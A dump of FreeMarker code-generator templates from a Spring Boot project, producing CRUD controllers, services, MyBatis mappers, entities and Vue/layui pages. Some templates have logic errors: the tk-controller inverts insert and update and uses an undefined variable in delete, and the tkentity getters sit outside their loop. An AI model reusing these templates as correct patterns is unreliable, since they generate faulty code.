    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.Arrays;\nimport java.util.Map;\n\nimport org.apache.shiro.authz.annotation.RequiresPermissions;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport ${packageName}.service.${classInfo.className}Service;\nimport ${packageName}.common.utils.PageUtils;\nimport ${packageName}.common.utils.R;\n</#if>\n\n\n/**\n* @description ${classInfo.classComment}控制器\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@RestController\n@RequestMapping(\"generator/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n@Autowired\nprivate ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n/**\n* 列表\n*/\n@RequestMapping(\"/list\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:list\")\npublic R list(@RequestParam Map<String, Object> params){\n    PageUtils page = ${classInfo.className?uncap_first}Service.queryPage(params);\n\n    return R.ok().put(\"page\", page);\n}\n\n\n/**\n* 信息\n*/\n@RequestMapping(\"/info/{${classInfo.className?uncap_first}Id}\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:info\")\npublic R info(@PathVariable(\"${classInfo.className?uncap_first}Id\") int ${classInfo.className?uncap_first}Id){\n    ${classInfo.className}Entity ${classInfo.className?uncap_first} = ${classInfo.className?uncap_first}Service.getById(${classInfo.className?uncap_first}Id);\n\n    return R.ok().put(\"${classInfo.className?uncap_first}\", ${classInfo.className?uncap_first});\n}\n\n/**\n* 保存\n*/\n@RequestMapping(\"/save\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:save\")\npublic R save(@RequestBody ${classInfo.className}Entity ${classInfo.className?uncap_first}){\n    ${classInfo.className?uncap_first}Service.save(${classInfo.className?uncap_first});\n\n    return R.ok();\n}\n\n/**\n* 修改\n*/\n@RequestMapping(\"/update\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:update\")\npublic R update(@RequestBody ${classInfo.className}Entity ${classInfo.className?uncap_first}){\n    ${classInfo.className?uncap_first}Service.updateById(${classInfo.className?uncap_first});\n\n    return R.ok();\n}\n\n/**\n* 删除\n*/\n@RequestMapping(\"/delete\")\n@RequiresPermissions(\"generator:${classInfo.className?uncap_first}:delete\")\npublic R delete(@RequestBody int[] ${classInfo.className?uncap_first}Ids){\n    ${classInfo.className?uncap_first}Service.removeByIds(Arrays.asList(${classInfo.className?uncap_first}Ids));\n\n    return R.ok();\n}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/renren-fast/rr-dao.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className}Entity;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport org.apache.ibatis.annotations.Mapper;\n</#if>\n/**\n* @description ${classInfo.classComment}Mapper\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Mapper\npublic interface ${classInfo.className}Dao extends BaseMapper<${classInfo.className}Entity> {\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/renren-fast/rr-daoxml.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n\n<mapper namespace=\"${packageName}.dao.${classInfo.className}Dao\">\n\n    <!-- 可根据自己的需求，是否要使用 -->\n    <resultMap type=\"${packageName}.entity.${classInfo.className}Entity\" id=\"${classInfo.className}Map\">\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <result property=\"${fieldItem.fieldName}\" column=\"${fieldItem.fieldName}\"/>\n            </#list>\n        </#if>\n    </resultMap>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/renren-fast/rr-entity.ftl",
    "content": ""
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/renren-fast/rr-service.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.service;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport java.util.Map;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport ${packageName}.common.utils.PageUtils;\nimport ${packageName}.common.utils.Query;\n\nimport ${packageName}.dao.${classInfo.className}Dao;\nimport ${packageName}.entity.${classInfo.className}Entity;\n</#if>\n\n@Service(\"${classInfo.className?uncap_first}Service\")\npublic class ${classInfo.className}Service extends ServiceImpl<${classInfo.className}Dao, ${classInfo.className}Entity> {\n\n    @Override\n    public PageUtils queryPage(Map<String, Object> params) {\n        IPage<${classInfo.className}Entity> page = this.page(\n            new Query<${classInfo.className}Entity>().getPage(params),\n                new QueryWrapper<${classInfo.className}Entity>()\n            );\n\n        return new PageUtils(page);\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/renren-fast/vue-edit.ftl",
    "content": "<template>\n    <el-dialog\n            :title=\"!dataForm.${classInfo.className?uncap_first}Id ? '新增' : '修改'\"\n            :close-on-click-modal=\"false\"\n            :visible.sync=\"visible\">\n        <el-form :model=\"dataForm\" :rules=\"dataRule\" ref=\"dataForm\" @keyup.enter.native=\"dataFormSubmit()\" label-width=\"80px\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <el-form-item label=\"${fieldItem.fieldComment}\" prop=\"${fieldItem.fieldName}\">\n                        <el-input v-model=\"dataForm.${fieldItem.fieldName}\" placeholder=\"${fieldItem.fieldComment}\"></el-input>\n                    </el-form-item>\n                </#list>\n            </#if>\n        </el-form>\n        <span slot=\"footer\" class=\"dialog-footer\">\n      <el-button @click=\"visible = false\">取消</el-button>\n      <el-button type=\"primary\" @click=\"dataFormSubmit()\">确定</el-button>\n    </span>\n    </el-dialog>\n</template>\n\n<script>\n    export default {\n        data () {\n            return {\n                visible: false,\n                dataForm: {\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                    ${fieldItem.fieldName}: ''<#if fieldItem_has_next>,</#if>\n            </#list>\n            </#if>\n        },\n            dataRule: {\n                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                ${fieldItem.fieldName}: [{ required: true, message: '${fieldItem.fieldComment}不能为空', trigger: 'blur' }]<#if fieldItem_has_next>,</#if>\n                </#list>\n                </#if>\n            }\n        }\n        },\n        methods: {\n            init (id) {\n                this.dataForm.${classInfo.className?uncap_first}Id = id || 0\n                this.visible = true\n                this.￥nextTick(() => {\n                    this.￥refs['dataForm'].resetFields()\n                    // <!-- 请把 ${classInfo.className?uncap_first}Id 替换成正确的ID -->\n                    if (this.dataForm.${classInfo.className?uncap_first}Id) {\n                        this.￥http({\n                            url: this.￥http.adornUrl(`/generator/${classInfo.className?uncap_first}/info/￥{this.dataForm.${classInfo.className?uncap_first}Id}`),\n                            method: 'get',\n                            params: this.￥http.adornParams()\n                    }).then(({data}) => {\n                            if (data && data.code === 0) {\n                                <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                                <#list classInfo.fieldList as fieldItem >\n                                this.dataForm.${fieldItem.fieldName} = data.${classInfo.className?uncap_first}.${fieldItem.fieldName}\n                                </#list>\n                                </#if>\n                            }\n                        })\n                    }\n                })\n            },\n            // 表单提交\n            dataFormSubmit () {\n                this.￥refs['dataForm'].validate((valid) => {\n                    if (valid) {\n                    this.￥http({\n                        url: this.￥http.adornUrl(`/generator/${classInfo.className?uncap_first}/￥{this.dataForm.${classInfo.className?uncap_first}Id? 'save' : 'update'}`),\n                        method: 'post',\n                        data: this.￥http.adornData({\n                        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                        <#list classInfo.fieldList as fieldItem >\n                            '${fieldItem.fieldName}': '${fieldItem.fieldName}' || undefined<#if fieldItem_has_next>,</#if>\n                        </#list>\n                        </#if>\n                        })\n                }).then(({data}) => {\n                        if (data && data.code === 0) {\n                            this.￥message({\n                                message: '操作成功',\n                                type: 'success',\n                                duration: 1500,\n                                onClose: () => {\n                                    this.visible = false\n                                    this.￥emit('refreshDataList')\n                                }\n                        })\n                        } else {\n                            this.￥message.error(data.msg)\n                        }\n                    })\n                }\n                })\n            }\n        }\n    }\n</script>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/renren-fast/vue-list.ftl",
    "content": "<template>\n    <div class=\"mod-config\">\n        <el-form :inline=\"true\" :model=\"dataForm\" @keyup.enter.native=\"getDataList()\">\n            <el-form-item>\n                <el-input v-model=\"dataForm.key\" placeholder=\"参数名\" clearable></el-input>\n            </el-form-item>\n            <el-form-item>\n                <el-button @click=\"getDataList()\">查询</el-button>\n                <el-button v-if=\"isAuth('generator:${classInfo.className?uncap_first}:save')\" type=\"primary\" @click=\"addOrUpdateHandle()\">新增</el-button>\n                <el-button v-if=\"isAuth('generator:${classInfo.className?uncap_first}:delete')\" type=\"danger\" @click=\"deleteHandle()\" :disabled=\"dataListSelections.length <= 0\">批量删除</el-button>\n            </el-form-item>\n        </el-form>\n        <el-table\n                :data=\"dataList\"\n                border\n                v-loading=\"dataListLoading\"\n                @selection-change=\"selectionChangeHandle\"\n                style=\"width: 100%;\">\n            <el-table-column\n                    type=\"selection\"\n                    header-align=\"center\"\n                    align=\"center\"\n                    width=\"50\">\n            </el-table-column>\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <el-table-column\n                            prop=\"${fieldItem.fieldName}\"\n                            header-align=\"center\"\n                            align=\"center\"\n                            label=\"${fieldItem.fieldComment}\">\n                    </el-table-column>\n                </#list>\n            </#if>\n            <el-table-column\n                    fixed=\"right\"\n                    header-align=\"center\"\n                    align=\"center\"\n                    width=\"150\"\n                    label=\"操作\">\n                <template slot-scope=\"scope\">\n                    <!-- 请把 ${classInfo.className?uncap_first}Id 替换成正确的ID -->\n                    <el-button type=\"text\" size=\"small\" @click=\"addOrUpdateHandle(scope.row.${classInfo.className?uncap_first}Id)\">修改</el-button>\n                    <el-button type=\"text\" size=\"small\" @click=\"deleteHandle(scope.row.${classInfo.className?uncap_first}Id)\">删除</el-button>\n                </template>\n            </el-table-column>\n        </el-table>\n        <el-pagination\n                @size-change=\"sizeChangeHandle\"\n                @current-change=\"currentChangeHandle\"\n                :current-page=\"pageIndex\"\n                :page-sizes=\"[10, 20, 50, 100]\"\n                :page-size=\"pageSize\"\n                :total=\"totalPage\"\n                layout=\"total, sizes, prev, pager, next, jumper\">\n        </el-pagination>\n        <!-- 弹窗, 新增 / 修改 -->\n        <add-or-update v-if=\"addOrUpdateVisible\" ref=\"addOrUpdate\" @refreshDataList=\"getDataList\"></add-or-update>\n    </div>\n</template>\n\n<script>\n    import AddOrUpdate from './${classInfo.className?uncap_first}-add-or-update'\n    export default {\n        data () {\n            return {\n                dataForm: {\n                    key: ''\n                },\n                dataList: [],\n                pageIndex: 1,\n                pageSize: 10,\n                totalPage: 0,\n                dataListLoading: false,\n                dataListSelections: [],\n                addOrUpdateVisible: false\n            }\n        },\n        components: {\n            AddOrUpdate\n        },\n        activated () {\n            this.getDataList()\n        },\n        methods: {\n            // 获取数据列表\n            getDataList () {\n                this.dataListLoading = true\n                this.￥http({\n                url: this.￥http.adornUrl('/generator/${classInfo.className?uncap_first}/list'),\n                    method: 'get',\n                    params: this.￥http.adornParams({\n                        'page': this.pageIndex,\n                        'limit': this.pageSize,\n                        'key': this.dataForm.key\n                    })\n            }).then(({data}) => {\n                    if (data && data.code === 0) {\n                        this.dataList = data.page.list\n                        this.totalPage = data.page.totalCount\n                    } else {\n                        this.dataList = []\n                        this.totalPage = 0\n                    }\n                    this.dataListLoading = false\n                })\n            },\n            // 每页数\n            sizeChangeHandle (val) {\n                this.pageSize = val\n                this.pageIndex = 1\n                this.getDataList()\n            },\n            // 当前页\n            currentChangeHandle (val) {\n                this.pageIndex = val\n                this.getDataList()\n            },\n            // 多选\n            selectionChangeHandle (val) {\n                this.dataListSelections = val\n            },\n            // 新增 / 修改\n            addOrUpdateHandle (id) {\n                this.addOrUpdateVisible = true\n                this.￥nextTick(() => {\n                    this.￥refs.addOrUpdate.init(id)\n                })\n            },\n            // 删除\n            deleteHandle (id) {\n                var ids = id ? [id] : this.dataListSelections.map(item => {\n                    return item.${classInfo.className?uncap_first}Id\n                })\n                this.￥confirm(`确定对[id=￥{ids.join(',')}]进行[￥{id ? '删除' : '批量删除'}]操作?`, '提示', {\n                    confirmButtonText: '确定',\n                    cancelButtonText: '取消',\n                    type: 'warning'\n            }).then(() => {\n                    this.￥http({\n                        url: this.￥http.adornUrl('/generator/${classInfo.className?uncap_first}/delete'),\n                        method: 'post',\n                        data: this.￥http.adornData(ids, false)\n                }).then(({data}) => {\n                        if (data && data.code === 0) {\n                            this.￥message({\n                                message: '操作成功',\n                                type: 'success',\n                                duration: 1500,\n                                onClose: () => {\n                                this.getDataList()\n                            }\n                        })\n                        } else {\n                            this.￥message.error(data.msg)\n                        }\n                    })\n                })\n            }\n        }\n    }\n</script>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/service.ftl",
    "content": "package ${packageService};\nimport java.util.Map;\n\nimport ${packageModel}.${classInfo.className};\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\npublic interface ${classInfo.className}Service {\n\n    /**\n    * 新增\n    */\n    public ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public ReturnT<String> delete(int id);\n\n    /**\n    * 更新\n    */\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * Load查询\n    */\n    public ${classInfo.className} load(int id);\n\n    /**\n    * 分页查询\n    */\n    public Map<String,Object> pageList(int offset, int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/service_impl.ftl",
    "content": "package ${packageServiceImpl};\n\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.biz.dao.${classInfo.className}Dao;\nimport ${packageModel}.${classInfo.className};\nimport ${packageService}.${classInfo.className}Service;\nimport com.jun.plugin.codegenerator.admin.model.ReturnT;\n\nimport javax.annotation.Resource;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n* ${classInfo.classComment}\n*\n* Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\n@Service\npublic class ${classInfo.className}ServiceImpl implements ${classInfo.className}Service {\n\n\t@Resource\n\tprivate ${classInfo.className}Dao ${classInfo.className?uncap_first}Dao;\n\n\t/**\n    * 新增\n    */\n\t@Override\n\tpublic ReturnT<String> insert(${classInfo.className} ${classInfo.className?uncap_first}) {\n\n\t\t// valid\n\t\tif (${classInfo.className?uncap_first} == null) {\n\t\t\treturn new ReturnT<String>(ReturnT.FAIL_CODE, \"必要参数缺失\");\n        }\n\n\t\t${classInfo.className?uncap_first}Dao.insert(${classInfo.className?uncap_first});\n        return ReturnT.SUCCESS;\n\t}\n\n\t/**\n\t* 删除\n\t*/\n\t@Override\n\tpublic ReturnT<String> delete(int id) {\n\t\tint ret = ${classInfo.className?uncap_first}Dao.delete(id);\n\t\treturn ret>0?ReturnT.SUCCESS:ReturnT.FAIL;\n\t}\n\n\t/**\n\t* 更新\n\t*/\n\t@Override\n\tpublic ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}) {\n\t\tint ret = ${classInfo.className?uncap_first}Dao.update(${classInfo.className?uncap_first});\n\t\treturn ret>0?ReturnT.SUCCESS:ReturnT.FAIL;\n\t}\n\n\t/**\n\t* Load查询\n\t*/\n\t@Override\n\tpublic ${classInfo.className} load(int id) {\n\t\treturn ${classInfo.className?uncap_first}Dao.load(id);\n\t}\n\n\t/**\n\t* 分页查询\n\t*/\n\t@Override\n\tpublic Map<String,Object> pageList(int offset, int pagesize) {\n\n\t\tList<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Dao.pageList(offset, pagesize);\n\t\tint totalCount = ${classInfo.className?uncap_first}Dao.pageListCount(offset, pagesize);\n\n\t\t// result\n\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\tresult.put(\"pageList\", pageList);\n\t\tresult.put(\"totalCount\", totalCount);\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/tk-mapper/tkentity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.*;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue(strategy = GenerationType.IDENTITY)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/tk-mapper/tkmapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport tk.mybatis.mapper.common.Mapper;\nimport org.apache.ibatis.annotations.Mapper;\nimport ${packageName}.entity.${classInfo.className};\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\npublic interface ${classInfo.className}Mapper extends Mapper<${classInfo.className}> {\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/tk-mybatis/tk-controller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\n\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        if(${classInfo.className?uncap_first}Mapper.selectCount(${classInfo.className?uncap_first})>0){\n            ${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        }else{\n            ${classInfo.className?uncap_first}Mapper.updateByPrimaryKeySelective(${classInfo.className?uncap_first});\n        }\n        return ${returnUtilSuccess}(\"新增或编辑成功\");\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        if(${classInfo.className?uncap_first}Mapper.selectCount(${classInfo.className?uncap_first})>0){\n            ${classInfo.className?uncap_first}Mapper.deleteByPrimaryKey(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Mapper.selectOne(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n            //TBC\n            return ${classInfo.className?uncap_first}Mapper.selectList(${classInfo.className?uncap_first});\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/tk-mybatis/tk-entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport io.mybatis.provider.Entity;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Entity.Table(\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    //@Entity.Column(id = true)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Entity.Column(\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#list>\n</#if>\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/tk-mybatis/tk-mapper.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport io.mybatis.mapper.Mapper;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@org.apache.ibatis.annotations.Mapper\npublic interface ${classInfo.className}Mapper extends Mapper<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/ui/${classInfo.className}bootstrap.html.ftl",
    "content": "<form action=\"/${classInfo.className?uncap_first}/save\">\n\n    <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n        <#list classInfo.fieldList as fieldItem >\n            <div class=\"form-group\">\n                <label for=\"${fieldItem.fieldName}Label\">${fieldItem.fieldComment}</label>\n                <input type=\"input\" class=\"form-control\" id=\"${fieldItem.fieldName}\" name=\"${fieldItem.fieldName}\" placeholder=\"请输入${fieldItem.fieldComment}\">\n            </div>\n        </#list>\n    </#if>\n\n    <button type=\"submit\" class=\"btn btn-primary\">保存</button>\n</form>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/ui/${classInfo.className}element.vuel.ftl",
    "content": "<el-form :inline=\"true\" :model=\"submitData\" class=\"demo-form-inline\" :rules=\"rules\" ref=\"ruleForm\">\n    <el-card class=\"box-card\">\n        <div slot=\"header\" class=\"header clearfix\">\n            <span>${classInfo.classComment}</span>\n            <el-button v-if=\"!ischeck && !isFind\" class=\"fr\" type=\"primary\" @click=\"validate('ruleForm')\">提交</el-button>\n            <el-button v-else class=\"fr\" type=\"primary\" @click=\"goBack\">返回</el-button>\n        </div>\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n             <el-form-item label=\"${fieldItem.fieldComment}\" prop=\"${fieldItem.fieldName}\">\n                 <el-input placeholder=\"请输入${fieldItem.fieldComment}\" v-model=\"formData.${fieldItem.fieldName}\"></el-input>\n             </el-form-item>\n            </#list>\n        </#if>\n    </el-card>\n</el-form>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/ui/${classInfo.className}layui-edit.html.ftl",
    "content": "<!DOCTYPE html>\n<html>\n<body>\n<div class=\"layui-form layuimini-form\">\n    <input type=\"hidden\" name=\"${classInfo.className?uncap_first}Id\" value=\"\" class=\"layui-input\">\n\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    <div class=\"layui-form-item\">\n        <label class=\"layui-form-label required\">${fieldItem.fieldComment}</label>\n        <div class=\"layui-input-block\">\n            <input type=\"text\" name=\"${fieldItem.fieldName}\" lay-verify=\"required\" lay-reqtext=\"${fieldItem.fieldComment}不能为空\" placeholder=\"请输入${fieldItem.fieldComment}\" value=\"￥{(${classInfo.className?uncap_first}.${fieldItem.fieldName})!!}\" class=\"layui-input\">\n            <#--<tip>${fieldItem.fieldComment}</tip>-->\n        </div>\n    </div>\n    </#list>\n</#if>\n\n    <div class=\"layui-form-item\">\n        <div class=\"layui-input-block\">\n            <button class=\"layui-btn\" lay-submit lay-filter=\"saveBtn\">确认保存</button>\n        </div>\n    </div>\n</div>\n</div>\n<script src=\"￥{request.contextPath}/static/lib/layui-v2.5.5/layui.js\" charset=\"utf-8\"></script>\n<script>\n    layui.use(['form'], function () {\n        var form = layui.form,\n            layer = layui.layer,\n            $ = layui.$;\n\n        //监听提交\n        form.on('submit(saveBtn)', function (data) {\n            $.ajax({\n                type: 'POST',\n                url: \"￥{request.contextPath}/${classInfo.className?uncap_first}/save\",\n                data:JSON.stringify(data.field),\n                dataType: \"json\",\n                contentType: \"application/json\",\n                success: function (responseData) {\n                    if (responseData.code === 200) {\n                        layer.msg(responseData.msg, function () {\n                            // 关闭弹出层\n                            //layer.close(index);\n                            var iframeIndex = parent.layer.getFrameIndex(window.name);\n                            parent.layer.close(iframeIndex);\n                            parent.searchBtn.click();\n                        });\n                    } else {\n                        layer.msg(responseData.msg, function () {\n                            //window.location = '/index.html';\n                        });\n                    }\n                }\n            });\n            return false;\n        });\n\n    });\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/ui/${classInfo.className}layui-edit2.html.ftl",
